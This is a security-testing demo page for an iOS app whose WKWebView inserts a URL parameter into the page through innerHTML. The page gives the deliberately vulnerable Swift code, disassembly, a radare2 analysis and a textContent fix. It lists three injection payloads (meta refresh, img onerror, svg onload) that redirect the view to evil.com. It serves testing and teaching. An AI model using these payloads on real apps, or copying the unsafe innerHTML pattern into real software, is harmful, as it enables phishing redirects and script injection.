Skip to content

MASTG-DEMO-0095: Attacker-Controlled Input in a WebView Leading to Unintended Navigation

Download MASTG-DEMO-0095 IPA Open MASTG-DEMO-0095 Folder Build MASTG-DEMO-0095 IPA

Sample

This sample demonstrates how attacker controlled input inside a WebView can alter the rendered page and trigger unintended navigation. The app loads a trusted local HTML file, but the page reads the username parameter from the URL and injects it into the DOM using innerHTML.

Although the app uses webView.loadFileURL(urlWithUsername, allowingReadAccessTo: docDir), broad file read access is not the focus of this demo. See HTML Injection in a Local WebView Leading to Local File Access for a deeper analysis of the file access aspect of this vulnerability. The issue demonstrated here is that attacker-controlled input is rendered as HTML, which allows the attacker to inject content that changes page behavior and causes unintended navigation.

When selecting payloads, note that <script> payloads usually do not execute in this case because scripts inserted through innerHTML are generally inert. However, other injected elements can still have side effects. For example, <img onerror> and <svg onload> can execute JavaScript through event handlers, and <meta http-equiv="refresh"> may also trigger navigation by instructing the page to refresh to a different URL.

Example payloads:

  • <meta http-equiv="refresh" content="1; url=https://evil.com">
  • <img src=x onerror="window.location='https://evil.com'">
  • <svg onload="window.location='https://evil.com'"></svg>

Summary of steps leading to this vulnerability.

  1. The app creates a trusted local HTML file and loads it into a WKWebView.
  2. The WebView URL includes attacker controlled input in the username query parameter.
  3. The page reads the username value from window.location.search.
  4. The value is inserted into the DOM using innerHTML.
  5. Because the input is treated as HTML instead of plain text, the attacker can inject markup.
  6. The injected markup introduces active behavior, such as an event handler or a refresh directive.
  7. As a result, the WebView navigates to an attacker-chosen destination.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import SwiftUI
import UIKit
import WebKit

struct MastgTest {

    private static let docDir = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask).first!
    private static let fileURL = docDir.appendingPathComponent("index.html")
    private static let secretURL = docDir.appendingPathComponent("secret.txt")

    public static func mastgTest(completion: @escaping (String) -> Void) {
        createSecretFile()
        createHtmlFile()

        DispatchQueue.main.async {
            showUserInput { userInput in
                completion(#"Filling user input into the webview... "\#(userInput)""#)
                  showHtmlRegistrationView(username: userInput, completion: completion)

            }
        }
    }

    private static func showHtmlRegistrationView(username: String, completion: @escaping (String) -> Void) {
        DispatchQueue.main.async {
          let urlWithUsername = URL(string: "\(fileURL.absoluteString)?username=\(username)")
          guard let urlWithUsername = urlWithUsername else{
            completion("Failed create URL object.")
            return
          }
          let webView = WKWebView()
          webView.loadFileURL(urlWithUsername, allowingReadAccessTo: docDir)

            let vc = UIViewController()
            vc.view = webView

            guard let presenter = topViewController() else {
                completion("Failed to present: no view controller.")
                return
            }

            presenter.present(vc, animated: true)
        }
    }

    static func createHtmlFile() {
        let htmlContent = """
        <!DOCTYPE html>
        <html>
        <head>
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <style>
                body { font-family: -apple-system, sans-serif; text-align: center; padding-top: 50px; }
                h1 { color: #007AFF; }
            </style>
        </head>
        <body>
            <h1>Registration</h1>
            <p><b>First Name:</b></p>
            <p id="username"></p>
        </body>
        </html>
        <script>
            const name = new URLSearchParams(window.location.search).get('username');
            document.getElementById('username').innerHTML = name;
        </script>
        """
        try? htmlContent.write(to: fileURL, atomically: true, encoding: .utf8)
    }


    static func createSecretFile() {
        try? "MY SECRET CONTENT".write(to: secretURL, atomically: true, encoding: .utf8)
    }

    private static func showUserInput(completion: @escaping (String) -> Void) {
        let alert = UIAlertController(title: "Enter your username", message: nil, preferredStyle: .alert)
        alert.addTextField { $0.placeholder = "Name" }
        alert.addAction(UIAlertAction(title: "OK", style: .default) { _ in
            completion(alert.textFields?.first?.text ?? "")
        })

        topViewController()?.present(alert, animated: true)
    }

    private static func topViewController(base: UIViewController? = nil) -> UIViewController? {
        let root = base ?? UIApplication.shared.connectedScenes
            .compactMap { $0 as? UIWindowScene }.flatMap { $0.windows }
            .first { $0.isKeyWindow }?.rootViewController

        if let nav = root as? UINavigationController { return topViewController(base: nav.visibleViewController) }
        if let tab = root as? UITabBarController { return topViewController(base: tab.selectedViewController) }
        if let presented = root?.presentedViewController { return topViewController(base: presented) }
        return root
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// AI-assisted reconstruction
// Derived from showWebView.asm, docDir-init.asm and fileURL-init.asm. May be inaccurate; the assembly is the authoritative source.

import Foundation
import UIKit
import WebKit

struct MastgTest {

    private static let docDir: URL = {
        FileManager.default.urls(for: .documentDirectory, in: .userDomainMask).first!
    }()

    private static let fileURL: URL = {
        docDir.appendingPathComponent("index.html")
    }()

    private static let secretURL: URL = {
        docDir.appendingPathComponent("secret.txt")
    }()

    public static func mastgTest(completion: @escaping (String) -> Void) {
        showHtmlRegistrationView(username: "user", completion: completion)
    }

    public static func showHtmlRegistrationView(username: String, completion: @escaping (String) -> Void) {
        let urlString = fileURL.absoluteString + "?username=" + username

        guard let url = URL(string: urlString) else {
            completion("Failed create URL object.")
            return
        }

        let webView = WKWebView()
        webView.loadFileURL(url, allowingReadAccessTo: docDir)

        let viewController = UIViewController()
        viewController.view = webView

        guard let topViewController = topViewController(base: nil) else {
            completion("Failed to present: no view controller.")
            return
        }

        topViewController.present(viewController, animated: true, completion: nil)
    }

    private static func topViewController(base: UIViewController?) -> UIViewController? {
        let baseVC: UIViewController?

        if let base = base {
            baseVC = base
        } else {
            baseVC = UIApplication.shared.connectedScenes
                .compactMap { $0 as? UIWindowScene }
                .flatMap { $0.windows }
                .first(where: { $0.isKeyWindow })?
                .rootViewController
        }

        if let nav = baseVC as? UINavigationController {
            return topViewController(base: nav.visibleViewController)
        }

        if let tab = baseVC as? UITabBarController {
            return topViewController(base: tab.selectedViewController)
        }

        if let presented = baseVC?.presentedViewController {
            return topViewController(base: presented)
        }

        return baseVC
    }
}

Steps

  1. Unzip the app package and locate the main binary file ( Exploring the App Package), which in this case is ./Payload/MASTestApp.app/MASTestApp.
  2. Open the app binary with radare2 (iOS) with the -i option to run this script.
load_webview.r2
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
e asm.bytes=false
e scr.color=false
e asm.var=false

?e Uses of loadRequest or loadFileURL:
f~loadRequest,loadFileURL

?e

?e xrefs to 'loadFileURL' selector

axt @ 0x100018118

?e HTML template string (contains innerHTML injection):
/ innerHTML

pdf @ 0x100004f10 > showWebView.asm
run.sh
1
2
#!/bin/bash
r2 -q -i load_webview.r2 -A MASTestApp > output.txt

Observation

The output shows all cross-references and disassembled snippets.

1
2
3
4
5
6
7
8
Uses of loadRequest or loadFileURL:
0x10000c0ff 37 str.loadFileURL:allowingReadAccessToURL:
0x100018118 8 reloc.fixup.loadFileURL:allowingReadAccessT

xrefs to 'loadFileURL' selector
sym.MASTestApp.MastgTest.showHtmlRegistrationView._6E8AB2C58CE173A727EF27CB85DF8CD8.username.completion 0x100004f10 [DATA:r--] ldr x1, reloc.fixup.loadFileURL:allowingReadAccessT
HTML template string (contains innerHTML injection):
0x10000b261 hit4_0 "yId('username').innerHTML = name;</scrip"
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
            ; CODE XREF from func.1000062e4 @ 0x1000062ec(x) ; sym.MASTestApp.MastgTest.showHtmlRegistrationView._6E8AB2C58CE173A727EF27CB85DF8CD8.username.completion_...A_
 792: E8AB2C.CE173A727EF27CB85DF8CD8.username.completion (int64_t arg1, int64_t arg2, int64_t arg3, int64_t arg4, int64_t arg_10h, int64_t arg_20h, int64_t arg_30h, int64_t arg_40h, int64_t arg_50h);
; MASTestApp.MastgTest.showHtmlRegistrationView._6E8AB2C58CE173A727EF2
; 7CB85DF8CD8.username.completion
           0x100004d24      stp x28, x27, [sp, -0x60]!
           0x100004d28      stp x26, x25, [var_60h]
           0x100004d2c      stp x24, x23, [arg_50h]
           0x100004d30      stp x22, x21, [arg_40h]
           0x100004d34      stp x20, x19, [arg_30h]
           0x100004d38      stp x29, x30, [arg_20h]
           0x100004d3c      add x29, sp, 0x50
           0x100004d40      sub sp, sp, 0x10
           0x100004d44      mov x24, x3                               ; arg4
           0x100004d48      mov x23, x2                               ; arg3
           0x100004d4c      mov x26, x1                               ; arg2
           0x100004d50      mov x27, x0                               ; arg1
           0x100004d54      mov x0, 0
           0x100004d58      bl sym.imp.Foundation.URL...VMa
           0x100004d5c      mov x19, x0
           0x100004d60      ldur x28, [x0, -8]
           0x100004d64      ldr x8, [x28, 0x40]
           0x100004d68      mov x9, x8
           0x100004d6c      adrp x16, segment.__DATA_CONST            ; 0x100014000
           0x100004d70      ldr x16, [x16, 0x50]                      ; [0x100014050:4]=9 ; "\t"
           0x100004d74      blr x16
           0x100004d78      mov x9, sp
           0x100004d7c      add x8, x8, 0xf
           0x100004d80      and x8, x8, 0xfffffffffffffff0
           0x100004d84      sub x22, x9, x8
           0x100004d88      mov sp, x22
           0x100004d8c      adrp x0, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
           0x100004d90      add x0, x0, 0x2a8                         ; int64_t arg1
           0x100004d94      bl sym.___swift_instantiateConcreteTypeFromMangledName
           0x100004d98      ldur x8, [x0, -8]                         ; [0x1000182a0:4]=0
                                                                      ; sym....sSo11UITextFieldCML
                                                                      ...sSo11UITextFieldCML
           0x100004d9c      ldr x8, [x8, 0x40]
           0x100004da0      mov x9, x8
           0x100004da4      adrp x16, segment.__DATA_CONST            ; 0x100014000
           0x100004da8      ldr x16, [x16, 0x50]                      ; [0x100014050:4]=9 ; "\t"
           0x100004dac      blr x16
           0x100004db0      mov x9, sp
           0x100004db4      add x10, x8, 0xf
           0x100004db8      and x12, x10, 0xfffffffffffffff0
           0x100004dbc      sub x25, x9, x12
           0x100004dc0      mov sp, x25
           0x100004dc4      mov x9, x8
           0x100004dc8      adrp x16, segment.__DATA_CONST            ; 0x100014000
           0x100004dcc      ldr x16, [x16, 0x50]                      ; [0x100014050:4]=9 ; "\t"
           0x100004dd0      blr x16
           0x100004dd4      mov x8, sp
           0x100004dd8      sub x21, x8, x12
           0x100004ddc      mov sp, x21
           0x100004de0      adrp x8, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
           0x100004de4      ldr x8, [x8, 0x1d0]                       ; [0x1000181d0:4]=0
                                                                      ; sym.MASTestApp.MastgTest.fileURL._6E8AB2C58CE173A727EF27CB85DF8CD8_...z_
                                                                      MASTestApp.MastgTest.fileURL._6E8AB2C58CE173A727EF27CB85DF8CD8(...z)
           0x100004de8      cmn x8, 1
       ┌─< 0x100004dec      b.ne 0x10000500c
          ; CODE XREF from func.100004d24 @ 0x100005020(x)
      ┌──> 0x100004df0      adrp x1, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
      ╎│   0x100004df4      add x1, x1, 0x1d8                         ; int64_t arg2
      ╎│   0x100004df8      mov x0, x19                               ; int64_t arg1
      ╎│   0x100004dfc      bl sym.___swift_project_value_buffer
      ╎│   0x100004e00      mov x20, x0
      ╎│   0x100004e04      bl sym.imp.Foundation.URL.absoluteString_...vg_
      ╎│   0x100004e08      stp x0, x1, [x29, -0x60]
      ╎│   0x100004e0c      mov x0, 0x753f                            ; '?u'
      ╎│   0x100004e10      movk x0, 0x6573, lsl 16                   ; 'se'
      ╎│   0x100004e14      movk x0, 0x6e72, lsl 32                   ; 'rn'
      ╎│   0x100004e18      movk x0, 0x6d61, lsl 48                   ; 'am'
      ╎│   0x100004e1c      sub x20, x29, 0x60
      ╎│   0x100004e20      mov x1, 0x3d65                            ; 'e='
      ╎│   0x100004e24      movk x1, 0xea00, lsl 48
      ╎│   0x100004e28      bl sym.imp.append_...ySSF_                ; append(...ySSF)
      ╎│   0x100004e2c      mov x0, x27
      ╎│   0x100004e30      mov x1, x26
      ╎│   0x100004e34      bl sym.imp.append_...ySSF_                ; append(...ySSF)
      ╎│   0x100004e38      ldp x0, x20, [x29, -0x60]
      ╎│   0x100004e3c      mov x8, x21
      ╎│   0x100004e40      mov x1, x20
      ╎│   0x100004e44      bl sym.imp.Foundation.URL.string_...cfC_  ; Foundation.URL.string(...cfC)
      ╎│   0x100004e48      mov x0, x20                               ; void *arg0
      ╎│   0x100004e4c      bl sym.imp.swift_bridgeObjectRelease      ; void swift_bridgeObjectRelease(void *arg0)
      ╎│   0x100004e50      mov x0, x21                               ; int64_t arg1
      ╎│   0x100004e54      mov x1, x25                               ; int64_t arg2
      ╎│   0x100004e58      bl sym.Foundation.URL:_GenericAccessorW.bool____GenericAccessor ; func.1000062f0
      ╎│   0x100004e5c      ldr x8, [x28, 0x30]
      ╎│   0x100004e60      mov x0, x25
      ╎│   0x100004e64      mov w1, 1
      ╎│   0x100004e68      mov x2, x19
      ╎│   0x100004e6c      blr x8
      ╎│   0x100004e70      cmp w0, 1
     ┌───< 0x100004e74      b.ne 0x100004ea4
     │╎│   0x100004e78      mov x0, x25                               ; int64_t arg1
     │╎│   0x100004e7c      bl sym.Foundation.URL:_GenericAccessorW.bool____GenericAccessor__1 ; func.100006338
     │╎│   0x100004e80      adrp x8, 0x10000b000
     │╎│   0x100004e84      add x8, x8, 0x3d0                         ; 0x10000b3d0 ; "Failed create URL object."
     │╎│   0x100004e88      sub x8, x8, 0x20
     │╎│   0x100004e8c      orr x1, x8, 0x8000000000000000
     │╎│   0x100004e90      mov x0, 0x19
     │╎│   0x100004e94      movk x0, 0xd000, lsl 48
     │╎│   0x100004e98      mov x20, x24
     │╎│   0x100004e9c      blr x23
    ┌────< 0x100004ea0      b 0x100004fe4
    ││╎│   ; CODE XREF from func.100004d24 @ 0x100004e74(x)
    │└───> 0x100004ea4      ldr x8, [x28, 0x20]
     ╎│   0x100004ea8      mov x0, x22
     ╎│   0x100004eac      mov x1, x25
     ╎│   0x100004eb0      mov x2, x19
     ╎│   0x100004eb4      blr x8
     ╎│   0x100004eb8      adrp x8, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
     ╎│   0x100004ebc      ldr x0, [x8, 0x190]                       ; [0x100018190:4]=252
     ╎│                                                              ; reloc.WKWebView ; void *arg0
     ╎│   0x100004ec0      bl sym.imp.objc_allocWithZone             ; void *objc_allocWithZone(void *arg0)
     ╎│   0x100004ec4      adrp x27, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
     ╎│   0x100004ec8      ldr x1, [x27, 0x110]                      ; [0x100018110:4]=0xc0ee ; reloc.fixup.init ; char *selector
     ╎│   0x100004ecc      bl sym.imp.objc_msgSend                   ; void *objc_msgSend(void *instance, char *selector)
     ╎│   0x100004ed0      mov x25, x0
     ╎│   0x100004ed4      mov x20, x22
     ╎│   0x100004ed8      bl sym.imp.Foundation.URL._bridgeToObjectiveC.NSURL_...F_ ; Foundation.URL._bridgeToObjectiveC.NSURL(...F)
     ╎│   0x100004edc      mov x26, x0
     ╎│   0x100004ee0      adrp x8, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
     ╎│   0x100004ee4      ldr x8, [x8, 0x1b0]                       ; [0x1000181b0:4]=0
     ╎│                                                              ; sym.MASTestApp.MastgTest.docDir._6E8AB2C58CE173A727EF27CB85DF8CD8_...z_
     ╎│                                                              [24] -rw- section size 929 named 24.__DATA.__data
     ╎│   0x100004ee8      cmn x8, 1
    │┌───< 0x100004eec      b.ne 0x100005024
    ││╎│   ; CODE XREF from func.100004d24 @ 0x100005038(x)
   ┌─────> 0x100004ef0      adrp x1, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
   ╎││╎│   0x100004ef4      add x1, x1, 0x1b8                         ; int64_t arg2
   ╎││╎│   0x100004ef8      mov x0, x19                               ; int64_t arg1
   ╎││╎│   0x100004efc      bl sym.___swift_project_value_buffer
   ╎││╎│   0x100004f00      mov x20, x0
   ╎││╎│   0x100004f04      bl sym.imp.Foundation.URL._bridgeToObjectiveC.NSURL_...F_ ; Foundation.URL._bridgeToObjectiveC.NSURL(...F)
   ╎││╎│   0x100004f08      mov x20, x0
   ╎││╎│   0x100004f0c      adrp x8, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
   ╎││╎│   0x100004f10      ldr x1, [x8, 0x118]                       ; [0x100018118:4]=0xc0ff ; reloc.fixup.loadFileURL:allowingReadAccessT ; char *selector
   ╎││╎│   0x100004f14      mov x0, x25                               ; void *instance
   ╎││╎│   0x100004f18      mov x2, x26
   ╎││╎│   0x100004f1c      mov x3, x20
   ╎││╎│   0x100004f20      bl sym.imp.objc_msgSend                   ; void *objc_msgSend(void *instance, char *selector)
   ╎││╎│   0x100004f24      mov x29, x29
   ╎││╎│   0x100004f28      bl sym.imp.objc_retainAutoreleasedReturnValue ; void objc_retainAutoreleasedReturnValue(void *instance)
   ╎││╎│   0x100004f2c      bl sym.imp.objc_release                   ; void objc_release(void *instance)
   ╎││╎│   0x100004f30      mov x0, x26                               ; void *instance
   ╎││╎│   0x100004f34      bl sym.imp.objc_release                   ; void objc_release(void *instance)
   ╎││╎│   0x100004f38      mov x0, x20                               ; void *instance
   ╎││╎│   0x100004f3c      bl sym.imp.objc_release                   ; void objc_release(void *instance)
   ╎││╎│   0x100004f40      adrp x8, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
   ╎││╎│   0x100004f44      ldr x0, [x8, 0x198]                       ; [0x100018198:4]=253
   ╎││╎│                                                              ; reloc.UIViewController ; void *arg0
   ╎││╎│   0x100004f48      bl sym.imp.objc_allocWithZone             ; void *objc_allocWithZone(void *arg0)
   ╎││╎│   0x100004f4c      ldr x1, [x27, 0x110]                      ; [0x100018110:4]=0xc0ee ; reloc.fixup.init ; char *selector
   ╎││╎│   0x100004f50      bl sym.imp.objc_msgSend                   ; void *objc_msgSend(void *instance, char *selector)
   ╎││╎│   0x100004f54      mov x26, x0
   ╎││╎│   0x100004f58      adrp x8, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
   ╎││╎│   0x100004f5c      ldr x1, [x8, 0x120]                       ; [0x100018120:4]=0xc191 ; reloc.fixup.setView: ; char *selector
   ╎││╎│   0x100004f60      mov x2, x25
   ╎││╎│   0x100004f64      bl sym.imp.objc_msgSend                   ; void *objc_msgSend(void *instance, char *selector)
   ╎││╎│   0x100004f68      mov x0, 0                                 ; int64_t arg1
   ╎││╎│   0x100004f6c      bl sym.MASTestApp.MastgTest.topViewController._6E8AB2C58CE173A727EF27CB85DF8CD8.base.UIView...G0CSgAI_tFZ ; func.10000503c
  ┌──────< 0x100004f70      cbz x0, 0x100004fa0
  │╎││╎│   0x100004f74      adrp x8, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
  │╎││╎│   0x100004f78      ldr x1, [x8, 0xb0]                        ; [0x1000180b0:4]=0xc124 ; "$\xc1" ; char *selector
  │╎││╎│   0x100004f7c      mov x20, x0
  │╎││╎│   0x100004f80      mov x2, x26
  │╎││╎│   0x100004f84      mov w3, 1
  │╎││╎│   0x100004f88      mov x4, 0
  │╎││╎│   0x100004f8c      bl sym.imp.objc_msgSend                   ; void *objc_msgSend(void *instance, char *selector)
  │╎││╎│   0x100004f90      mov x0, x25                               ; void *instance
  │╎││╎│   0x100004f94      bl sym.imp.objc_release                   ; void objc_release(void *instance)
  │╎││╎│   0x100004f98      mov x0, x20
 ┌───────< 0x100004f9c      b 0x100004fc8
 ││╎││╎│   ; CODE XREF from func.100004d24 @ 0x100004f70(x)
 │└──────> 0x100004fa0      adrp x8, 0x10000b000
  ╎││╎│   0x100004fa4      add x8, x8, 0x3f0                         ; 0x10000b3f0 ; "Failed to present: no view controller."
  ╎││╎│   0x100004fa8      sub x8, x8, 0x20
  ╎││╎│   0x100004fac      mov x9, 0x19
  ╎││╎│   0x100004fb0      movk x9, 0xd000, lsl 48
  ╎││╎│   0x100004fb4      add x0, x9, 0xd
  ╎││╎│   0x100004fb8      orr x1, x8, 0x8000000000000000
  ╎││╎│   0x100004fbc      mov x20, x24
  ╎││╎│   0x100004fc0      blr x23
  ╎││╎│   0x100004fc4      mov x0, x25
  ╎││╎│   ; CODE XREF from func.100004d24 @ 0x100004f9c(x)
 └───────> 0x100004fc8      bl sym.imp.objc_release                   ; void objc_release(void *instance)
   ╎││╎│   0x100004fcc      mov x0, x26                               ; void *instance
   ╎││╎│   0x100004fd0      bl sym.imp.objc_release                   ; void objc_release(void *instance)
   ╎││╎│   0x100004fd4      ldr x8, [x28, 8]
   ╎││╎│   0x100004fd8      mov x0, x22
   ╎││╎│   0x100004fdc      mov x1, x19
   ╎││╎│   0x100004fe0      blr x8
   ╎││╎│   ; CODE XREF from func.100004d24 @ 0x100004ea0(x)
   ╎└────> 0x100004fe4      mov x0, x21                               ; int64_t arg1
    │╎│   0x100004fe8      bl sym.Foundation.URL:_GenericAccessorW.bool____GenericAccessor__1 ; func.100006338
    │╎│   0x100004fec      sub sp, x29, 0x50
    │╎│   0x100004ff0      ldp x29, x30, [arg_20h]
    │╎│   0x100004ff4      ldp x20, x19, [arg_30h]
    │╎│   0x100004ff8      ldp x22, x21, [arg_40h]
    │╎│   0x100004ffc      ldp x24, x23, [arg_50h]
    │╎│   ; DATA XREFS from func.1000049b4 @ 0x100004a30(r), 0x100004ad4(r)
    │╎│   ; DATA XREFS from func.1000056d8 @ 0x1000058e0(r), 0x100005940(r)
    │╎│   ; DATA XREF from func.100005ab0 @ 0x100005b18(r)
    │╎│   0x100005000      ldp x26, x25, [var_60h]
    │╎│   0x100005004      ldp x28, x27, [sp], 0x60
    │╎│   0x100005008      ret
    │╎│   ; CODE XREF from func.100004d24 @ 0x100004dec(x)
    │╎└─> 0x10000500c      adrp x0, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
    │╎    0x100005010      add x0, x0, 0x1d0
    │╎    0x100005014      adrp x1, sym.MASTestApp.MastgTest.docDir._6E8AB2C58CE173A727EF27CB85DF8CD8_...Z_ ; 0x100004000
    │╎    0x100005018      add x1, x1, 0x144
    │╎    0x10000501c      bl sym.imp.swift_once
    │└──< 0x100005020      b 0x100004df0
         ; CODE XREF from func.100004d24 @ 0x100004eec(x)
    └───> 0x100005024      adrp x0, sym.__METACLASS_DATA__TtC10MASTestAppP33_9471609302C95FC8EC1D59DD4CF2A2DB19ResourceBundleClass ; 0x100018000
          0x100005028      add x0, x0, 0x1b0
          0x10000502c      adrp x1, sym.MASTestApp.MastgTest.docDir._6E8AB2C58CE173A727EF27CB85DF8CD8_...Z_ ; 0x100004000
          0x100005030      add x1, x1, 0
          0x100005034      bl sym.imp.swift_once
   └─────< 0x100005038      b 0x100004ef0

Evaluation

The test case fails because the username parameter (attacker-controlled) is inserted into the WebView URL without validation, and the page then assigns it directly to innerHTML. Because the browser treats the value as HTML rather than plain text, an attacker can inject markup that triggers unintended navigation.

The code also contains a separate issue where the WebView is granted read access to the entire Documents directory, which contains sensitive files. However, the focus of this demo is on the HTML injection and unintended navigation aspect of the vulnerability. See HTML Injection in a Local WebView Leading to Local File Access for a deeper analysis of the file access aspect.

AI-Decompiled Code Analysis

About ai-decompiled.swift

The ai-decompiled.swift file is an AI-assisted reconstruction derived from showWebView.asm, docDir-init.asm, and fileURL-init.asm and is provided only as a convenience for understanding the logic. It may be inaccurate or incomplete; the assembly and the original binary are the authoritative sources for analysis.

  1. On line 27, the function constructs a URL string by concatenating fileURL.absoluteString, "?username=", and the attacker-controlled username argument without any validation.
  2. On line 29, the concatenated string is passed to URL(string:) to create a URL object without validating the resulting scheme, host, path, or structure.
  3. On line 35, the constructed URL is passed to WKWebView.loadFileURL, allowing a user who can alter username to influence the URL that is ultimately loaded.

Disassembly Analysis

The loadFileURL:allowingReadAccessToURL: call is at 0x100004f20 in the username completion closure at 0x100004d24 (all addresses below are from showWebView.asm). The two arguments are built as follows.

Step 1 — Build the URL string with the attacker-controlled username:

At 0x100004df8, the fileURL static property is projected and its absoluteString is fetched. The query suffix ?username= is then encoded inline as immediate character constants and appended to form the final URL string:

0x100004e04      bl sym.imp.Foundation.URL.absoluteString_...vg_  ; get fileURL as a string
0x100004e0c      mov x0, 0x753f                            ; '?u'
0x100004e10      movk x0, 0x6573, lsl 16                   ; 'se'
0x100004e14      movk x0, 0x6e72, lsl 32                   ; 'rn'
0x100004e18      movk x0, 0x6d61, lsl 48                   ; 'am'
0x100004e20      mov x1, 0x3d65                            ; 'e='
0x100004e28      bl sym.imp.append_...ySSF_                 ; append "?username"
0x100004e2c      mov x0, x27                               ; load attacker-controlled username value
0x100004e30      mov x1, x26
0x100004e34      bl sym.imp.append_...ySSF_                 ; append username directly (no validation)

The attacker-controlled value (passed in as username) is appended at 0x100004e34 without any sanitization or encoding.

The concatenated string is then passed to Foundation.URL.string(_:) at 0x100004e44 to produce a URL object. If that URL is successfully created (the b.ne check at 0x100004e74 succeeds), execution falls through to the loadFileURL call.

Step 2 — Call loadFileURL:allowingReadAccessToURL::

0x100004f10      ldr x1, [x8, 0x118]   ; reloc.fixup.loadFileURL:allowingReadAccessToURL:
0x100004f14      mov x0, x25           ; WKWebView instance
0x100004f18      mov x2, x26           ; fileURL+?username=<value> (attacker influenced)
0x100004f1c      mov x3, x20           ; docDir (Documents directory)
0x100004f20      bl sym.imp.objc_msgSend

x2 holds the constructed URL containing the unvalidated username value. x3 holds the docDir lazy static, which resolves to the app's Documents directory (see HTML Injection in a Local WebView Leading to Local File Access for the analysis of that initializer).

Step 3 — innerHTML injection (HTML/JS side):

The innerHTML injection does not appear as a Swift evaluateJavaScript call. Instead, the HTML template is statically embedded in the binary as a string literal. We can confirm this by searching for innerHTML with r2, which reports a hit at 0x10000b261 in output.txt. The HTML written to disk embeds the following JavaScript:

const name = new URLSearchParams(window.location.search).get('username');
document.getElementById('username').innerHTML = name;

Because the username query parameter is read directly from window.location.search and assigned to innerHTML without escaping, any HTML or JavaScript event handler the attacker places in the username value is rendered as markup by the WebView.

How to Fix

Replace innerHTML with textContent in the embedded HTML template so that the username value is always treated as plain text, not markup. This prevents the browser from parsing attacker-controlled input as HTML and eliminates the unintended navigation vector.

fix.diff
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
--- a/MastgTest.swift
+++ b/MastgTest.swift
@@ -62,7 +62,8 @@
         </html>
         <script>
             const name = new URLSearchParams(window.location.search).get('username');
-            document.getElementById('username').innerHTML = name;
+            // PASS: [MASTG-TEST-0332] textContent treats the value as plain text, preventing HTML injection and unintended navigation.
+            document.getElementById('username').textContent = name;
         </script>
         """
         try? htmlContent.write(to: fileURL, atomically: true, encoding: .utf8)

To apply the fix to MastgTest.swift, run the following command from this demo directory:

patch MastgTest.swift -o MastgTest-fixed.swift < fix.diff

This code has other issues (e.g. the URL construction is still unsafe), but this change alone is sufficient to prevent the specific vulnerability shown in this demo.